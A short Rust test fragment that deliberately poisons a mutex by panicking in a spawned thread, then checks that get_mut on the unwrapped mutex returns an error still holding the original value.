{ let m = Arc::new(Mutex::new(NonCopy(10))); let m2 = m.clone(); let _ = thread::spawn(move || { let _lock = m2.lock().unwrap(); panic!("test panic in inner thread to poison mutex"); }) .join(); assert!(m.is_poisoned()); match Arc::try_unwrap(m).unwrap().get_mut() { Err(e) => assert_eq!(*e.into_inner(), NonCopy(10)), Ok(x) => panic!("get_mut of poisoned Mutex is Ok: {:?}", x), } }